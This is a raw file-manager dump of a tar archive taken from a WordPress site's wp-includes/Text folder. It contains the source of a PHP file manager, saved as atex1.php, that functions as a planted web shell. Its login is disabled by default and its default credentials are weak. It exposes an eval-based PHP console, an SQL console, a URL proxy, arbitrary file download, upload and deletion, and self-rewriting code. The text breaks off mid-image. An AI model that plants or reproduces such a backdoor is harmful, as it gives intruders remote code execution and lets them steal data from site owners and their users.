File manager - Edit - /home/rootabc/vanlog.squareroot.co.za/wp-includes/Text/Text.tar
Back
atex1.php.tar 0000644 00000236000 15125140677 0007075 0 ustar 00 home/rootabc/vanlog.squareroot.co.za/wp-includes/Text/atex1.php 0000644 00000232740 15125126142 0020547 0 ustar 00 <?php /* PHP File manager ver 1.4 */ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/fahri-yzx/atex/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменÑть надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlm